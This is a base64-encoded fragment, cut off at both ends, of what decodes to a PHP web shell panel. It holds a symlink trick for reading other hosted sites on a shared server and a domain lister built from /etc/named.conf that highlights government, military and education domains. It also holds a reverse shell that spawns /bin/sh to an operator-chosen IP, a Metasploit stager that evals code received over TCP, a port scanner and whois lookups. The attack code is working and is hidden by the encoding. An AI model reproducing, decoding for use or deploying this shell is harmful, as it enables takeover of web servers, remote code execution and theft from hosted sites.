b250ZW50PiI7DQoNCkBta2Rpcignc3ltJywwNzc3KTsNCiRodGFjY2VzcyAgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KJHdyaXRlID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KZndyaXRlKCR3cml0ZSAsJGh0YWNjZXNzKTsNCkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiRmaWxlbG9jYXRpb24gPSBiYXNlbmFtZShfX0ZJTEVfXyk7DQokcmVhZF9uYW1lZF9jb25mID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KaWYoISRyZWFkX25hbWVkX2NvbmYpDQp7DQplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgDQp9DQplbHNlDQp7DQplY2hvICI8YnI+PGJyPjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGJvcmRlcj0nMScgYm9yZGVyY29sb3I9JyNGRjAwMDAnIHdpZHRoPSc1MDAnIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCc+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyczwvdGQ+PHRkPnN5bWxpbmsgPC90ZD4iOw0KZm9yZWFjaCgkcmVhZF9uYW1lZF9jb25mIGFzICRzdWJqZWN0KXsNCmlmKGVyZWdpKCd6b25lJywkc3ViamVjdCkpew0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRzdWJqZWN0LCRzdHJpbmcpOw0KZmx1c2goKTsNCmlmKHN0cmxlbih0cmltKCRzdHJpbmdbMV1bMF0pKSA+Mil7DQokVUlEID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRzdHJpbmdbMV1bMF0pKTsNCiRuYW1lID0gJFVJRFsnbmFtZSddIDsNCkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiRuYW1lICAgPSAkc3RyaW5nWzFdWzBdOw0KJGlyYW4gICA9ICdcLmlyJzsNCiRpc3JhZWwgPSAnXC5pbCc7DQokaW5kbyAgID0gJ1wuaWQnOw0KJHNnMTIgICA9ICdcLnNnJzsNCiRlZHUgICAgPSAnXC5lZHUnOw0KJGdvdiAgICA9ICdcLmdvdic7DQokZ29zZSAgID0gJ1wuZ28nOw0KJGdvYmVyICA9ICdcLmdvYic7DQokbWlsMSAgID0gJ1wubWlsJzsNCiRtaWwyICAgPSAnXC5taSc7DQokbWFsYXkJPSAnXC5teSc7DQokY2hpbmEJPSAnXC5jbic7DQokamFwYW4JPSAnXC5qcCc7DQokYXVzdHIJPSAnXC5hdSc7DQokcG9ybgk9ICdcLnh4eCc7DQokYXMJCT0gJ1wudWsnOw0KJGNhbGZuCT0gJ1wuY2EnOw0KDQppZiAoZXJlZ2koIiRpcmFuIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGlzcmFlbCIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRpbmRvIiwkc3RyaW5nWzFdWzBdKW9yIGVyZWdpKCIkc2cxMiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkZWR1Iiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRnb3YiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSAoIiRnb3NlIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGdvYmVyIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJG1pbDEiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJG1pbDIiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSAoIiRtYWxheSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRjaGluYSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRqYXBhbiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkYXVzdHIiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSgiJHBvcm4iLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkYXMiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGNhbGZuIiwkc3RyaW5nWzFdWzBdKSkNCnsNCiRuYW1lID0gIjxkaXYgc3R5bGU9JyBjb2xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kc3RyaW5nWzFdWzBdLic8L2Rpdj4nOw0KfQ0KZWNobyAiDQo8dHI+DQoNCjx0ZD4NCjxkaXYgY2xhc3M9J2RvbSc+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRzdHJpbmdbMV1bMF0uJy8+Jy4kbmFtZS4nIDwvYT4gPC9kaXY+DQo8L3RkPg0KDQo8dGQ+DQonLiRVSURbJ25hbWUnXS4iDQo8L3RkPg0KDQo8dGQ+DQo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJFVJRFsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjwvdHI+PC9kaXY+ICI7DQpmbHVzaCgpOw0KfQ0KfQ0KfQ0KfQ0KDQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7ICAgDQoNCn0NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW4nKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWRvbWFpbiIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCg0KZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT4tLT09WyBMb2NhbCBEb21haW4gVmlld2VyIF09PS0tPC9oMT48L2NlbnRlcj48YnI+PGJyPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KDQokZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7DQppZighJGZpbGUpeyBkaWUoIiMgY2FuJ3QgUmVhRCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7IH0NCnByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwkZmlsZSAsJHIpOw0KJGRvbWFpbnMgPSBhcnJheV91bmlxdWUoJHJbMV0pOw0KLy9jaGVjaygpOw0KLy9pZihpc3NldCgkX0dFVFsnU2hvd0FsbCddKSkNCnsNCmVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgd2lkdGg9NTklIGNlbGxwYWRkaW5nPTU+DQo8dHI+PHRkIGNvbHNwYW49Mj5bK10gVGhlcmUgYXJlIDogWyA8Yj4iLmNvdW50KCRkb21haW5zKS4iPC9iPiBdIERvbWFpbjwvdGQ+PC90cj4NCjx0cj48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOw0KZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW4pKTsNCg0KCQllY2hvICI8dHI+PHRkPiRkb21haW48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOw0KCQl9DQoJZWNobyAiPC90YWJsZT4iOw0KCX0NCg0KZWNobyAnPC9kaXY+JzsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndG9vbCcpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9dG9vbCIgbWV0aG9kPSJwb3N0Ij4NCjw/cGhwDQoNCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8YnI+PGJyPjxicj48Y2VudGVyPjx0YWJsZT48ZGl2IGNsYXNzPSdteWJveCcgYWxpZ249J2NlbnRlcic+PHRkPjxoMj5SZXZlcnNlIHNoZWxsICggcGhwICk8L2gyPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9ucz0nP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PSd0b29sJz48dGFibGUgY2xhc3M9J3RhYm5ldCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTEwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjx0ZD48aHIgY29sb3I9JyM0QzgzQUYnPjx0ZD48dGQ+PGZvcm0gbWV0aG9kPSdQT1NUJz48dGFibGUgY2xhc3M9J3RhYm5ldCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjExMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj48L3RhYmxlPjxicj48YnIgLz4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO30NCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnd2hvaXMnKSkNCiAgIHsNCiAgID8+DQogICA8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4meD13aG9pcyIgbWV0aG9kPSJwb3N0Ij4NCiAgIDw/cGhwDQogICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICBAZXJyb3JfcmVwb3J0aW5nKDApOw0KICAgZnVuY3Rpb24gc3dzX2RvbWFpbl9pbmZvKCRzaXRlKQ0KICAgew0KICAgJGdldGlwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbmV0d29ya3Rvb2xzLm5sL3dob2lzLyRzaXRlIik7DQogICBmbHVzaCgpOw0KICAgJGlwID0gQGZpbmRpdCgkZ2V0aXAsJzxwcmU+JywnPC9wcmU+Jyk7DQogICByZXR1cm4gJGlwOw0KICAgZmx1c2goKTsNCiAgIH0NCiAgIGZ1bmN0aW9uIHN3c19uZXRfaW5mbygkc2l0ZSkNCiAgIHsNCiAgICRnZXRpcCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL25ldHdvcmt0b29scy5ubC9hc2luZm8vJHNpdGUiKTsNCiAgICRpcCA9IEBmaW5kaXQoJGdldGlwLCc8cHJlPicsJzwvcHJlPicpOw0KICAgcmV0dXJuICRpcDsNCiAgIGZsdXNoKCk7DQogICB9DQogICBmdW5jdGlvbiBzd3Nfc2l0ZV9zZXIoJHNpdGUpDQogICB7DQogICAkZ2V0aXAgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9uZXR3b3JrdG9vbHMubmwvcmV2ZXJzZWlwLyRzaXRlIik7DQogICAkaXAgPSBAZmluZGl0KCRnZXRpcCwnPHByZT4nLCc8L3ByZT4nKTsNCiAgIHJldHVybiAkaXA7DQogICBmbHVzaCgpOw0KICAgfQ0KICAgZnVuY3Rpb24gc3dzX3N1cF9kb20oJHNpdGUpDQogICB7DQogICAkZ2V0aXAgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cubWFnaWMtbmV0LmluZm8vZG5zLWFuZC1pcC10b29scy5kbnNsb29rdXA/c3ViZD0iLiRzaXRlLiImU2VhcmNoK3N1YmRvbWFpbnM9RmluZCtzdWJkb21haW5zIik7DQogICAkaXAgPSBAZmluZGl0KCRnZXRpcCwnPHN0cm9uZz5OYW1lc2VydmVycyBmb3VuZDo8L3N0cm9uZz4nLCc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Jyk7DQogICByZXR1cm4gJGlwOw0KICAgZmx1c2goKTsNCiAgIH0NCiAgIGZ1bmN0aW9uIHN3c19wb3J0X3NjYW4oJGlwKQ0KICAgew0KICAgJGxpc3RfcG9zdCA9IGFycmF5KCc4MCcsJzIxJywnMjInLCcyMDgyJywnMjUnLCc1MycsJzExMCcsJzQ0MycsJzE0MycpOw0KICAgZm9yZWFjaCAoJGxpc3RfcG9zdCBhcyAkb19wb3J0KQ0KICAgew0KICAgJGNvbm5lY3QgPSBAZnNvY2tvcGVuKCRpcCwkb19wb3J0LCRlcnJubywkZXJyc3RyLDUpOw0KICAgaWYoJGNvbm5lY3QpDQogICB7DQogICBlY2hvICIgJGlwIDogJG9fcG9ydCA/Pz8gPHUgc3R5bGU9XCJjb2xvcjogI0ZGMDAwMFwiPk9wZW48L3U+IDxiciAvPjxiciAvPiI7DQogICBmbHVzaCgpOw0KICAgfQ0KICAgfQ0KICAgfQ0KICAgZnVuY3Rpb24gZmluZGl0KCRteXRleHQsJHN0YXJ0dGFnLCRlbmR0YWcpIHsNCiAgICRwb3NMZWZ0ID0gQHN0cmlwb3MoJG15dGV4dCwkc3RhcnR0YWcpK3N0cmxlbigkc3RhcnR0YWcpOw0KICAgJHBvc1JpZ2h0ID0gQHN0cmlwb3MoJG15dGV4dCwkZW5kdGFnLCRwb3NMZWZ0KzEpOw0KICAgcmV0dXJuIEBzdWJzdHIoJG15dGV4dCwkcG9zTGVmdCwkcG9zUmlnaHQtJHBvc0xlZnQpOw0KICAgZmx1c2goKTsNCiAgIH0NCiAgIGVjaG8gJzxicj48YnI+PGNlbnRlcj4nOw0KICAgZWNobyAnDQogICAgPGJyIC8+DQogICAgPGRpdiBjbGFzcz0ic2MiPjxmb3JtIG1ldGhvZD0icG9zdCI+PHRhYmxlIGNsYXNzPSJ0YWJuZXQiPg0KCTx0cj48dGggY29sc3Bhbj0iNSI+V2Vic2l0ZSBXaG9pczwvdGg+PC90cj4NCiAgICA8dHI+PHRkPlNpdGUgdG8gc2NhbiA8L3RkPjx0ZD46PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNpdGUiIHNpemU9IjUwIiBzdHlsZT0iY29sb3I6I0ZGMDAwMDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDAiIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSJzaXRlLmNvbSIgLz4gJm5ic3AgPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOiNGRjAwMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwIiBuYW1lPSJzY2FuIiB2YWx1ZT0iU2NhbiAhIiAvPjwvdGQ+PC90cj4NCiAgICA8L3RhYmxlPjwvZm9ybT48L2Rpdj4nOw0KICAgaWYoaXNzZXQoJF9QT1NUWydzY2FuJ10pKQ0KICAgew0KICAgJHNpdGUgPSBAaHRtbGVudGl0aWVzKCRfUE9TVFsnc2l0ZSddKTsNCiAgIGlmIChlbXB0eSgkc2l0ZSkpe2RpZSgnPGJyIC8+PGJyIC8+IE5vdCBhZGQgSVAgLi4gIScpO30NCiAgICRpcF9wb3J0ID0gQGdldGhvc3RieW5hbWUoJHNpdGUpOw0KICAgZWNobyAiDQogICA8YnIgLz48ZGl2IGNsYXNzPVwic2MyXCI+U2Nhbm5pbmcgWyAkc2l0ZSBpcCAkaXBfcG9ydCBdIC4uLiA8L2Rpdj4NCiAgIDxkaXYgY2xhc3M9XCJ0aXRcIj4gPGJyIC8+PGJyIC8+fC0tLS0tLS0tLS0tLS0tIFBvcnQgU2VydmVyIC0tLS0tLS0tLS0tLS0tLS0tLXwgPGJyIC8+PC9kaXY+DQogICA8ZGl2IGNsYXNzPVwicnVcIj4gPGJyIC8+PGJyIC8+PHByZT4NCiAgICI7DQogICBlY2hvICIiLnN3c19wb3J0X3NjYW4oJGlwX3BvcnQpLiIgPC9wcmU+PC9kaXY+ICI7DQogICBmbHVzaCgpOw0KICAgZWNobyAiPGRpdiBjbGFzcz1cInRpdFwiPjxiciAvPjxiciAvPnwtLS0tLS0tLS0tLS0tLSBEb21haW4gSW5mbyAtLS0tLS0tLS0tLS0tLS0tLS18IDxiciAvPiA8L2Rpdj4NCiAgIDxkaXYgY2xhc3M9XCJydVwiPg0KICAgPHByZT4iLnN3c19kb21haW5faW5mbygkc2l0ZSkuIjwvcHJlPjwvZGl2PiI7DQogICBmbHVzaCgpOw0KICAgZWNobyAiDQogICA8ZGl2IGNsYXNzPVwidGl0XCI+IDxiciAvPjxiciAvPnwtLS0tLS0tLS0tLS0tLSBOZXR3b3JrIEluZm8gLS0tLS0tLS0tLS0tLS0tLS0tfCA8YnIgLz48L2Rpdj4NCiAgIDxkaXYgY2xhc3M9XCJydVwiPg0KICAgPHByZT4iLnN3c19uZXRfaW5mbygkc2l0ZSkuIjwvcHJlPiA8L2Rpdj4iOw0KICAgZmx1c2goKTsNCiAgIGVjaG8gIjxkaXYgY2xhc3M9XCJ0aXRcIj4gPGJyIC8+PGJyIC8+fC0tLS0tLS0tLS0tLS0tIHN1YmRvbWFpbnMgU2VydmVyIC0tLS0tLS0tLS0tLS0tLS0tLXwgPGJyIC8+PC9kaXY+DQogICA8ZGl2IGNsYXNzPVwicnVcIj4NCiAgIDxwcmU+Ii5zd3Nfc3VwX2RvbSgkc2l0ZSkuIjwvcHJlPiA8L2Rpdj4iOw0KICAgZmx1c2goKTsNCiAgIGVjaG8gIjxkaXYgY2xhc3M9XCJ0aXRcIj4gPGJyIC8+PGJyIC8+fC0tLS0tLS0tLS0tLS0tIFNpdGUgU2VydmVyIC0tLS0tLS0tLS0tLS0tLS0tLXwgPGJyIC8+PC9kaXY+DQogICA8ZGl2IGNsYXNzPVwicnVcIj4NCiAgIDxwcmU+Ii5zd3Nfc2l0ZV9zZXIoJHNpdGUpLiI8L3ByZT4gPC9kaXY+DQogICA8ZGl2IGNsYXNzPVwidGl0XCI+IDxiciAvPjxiciAvPnwtLS0tLS0tLS0tLS0tLSBFTkQgLS0tLS0tLS0tLS0tLS0tLS0tfCA8YnIgLz48L2Rpdj4iOw0KICAgZmx1c2goKTsNCiAgIH0NCiAgIGVjaG8gJzwvY2VudGVyPic7DQogICB9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdhYm91dCcpKQ0KICAgIHsNCiAgICA/Pg0KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZ4PWFib3V0IiBtZXRob2Q9InBvc3QiPg0KCTxjZW50ZXI+PGJyPjxicj4NCiAgICA8YnI+PGJyPjxicj4JPGJyPjxicj48Zm9udCBzaXplPSI1IiBjb2xvcj0iI0ZGMDAwMCI+U3BlY2lhbCBUaGFua3MgOjwvZm9udD48L2NlbnRlcj48Y2VudGVyPg0KPG1hcnF1ZWUgZGlyZWN0aW9uPSJ1cCIgc2Nyb2xsYW1vdW50PSIyIiBiZ2NvbG9yPSIiIHdpZHRoPSIyNTAiIGhlaWdodD0iNDAiPjxjZW50ZXI+DQo8cD48Yj48Zm9udCBzaXplPSIzIiBjb2xvcj0iI0ZGMDAwMCI+LS09PVtNeSBGcmllbmRzXT09LS08YnI+PGJyPlRpYWRhIE5hbWE8YnI+VG9ueSBNb3RhPGJyPi4vSHVtYmxlIE9uZTxicj5CbGFjazQwNDxicj5DeWJlciBWaXJ1czxicj5Vc3Rh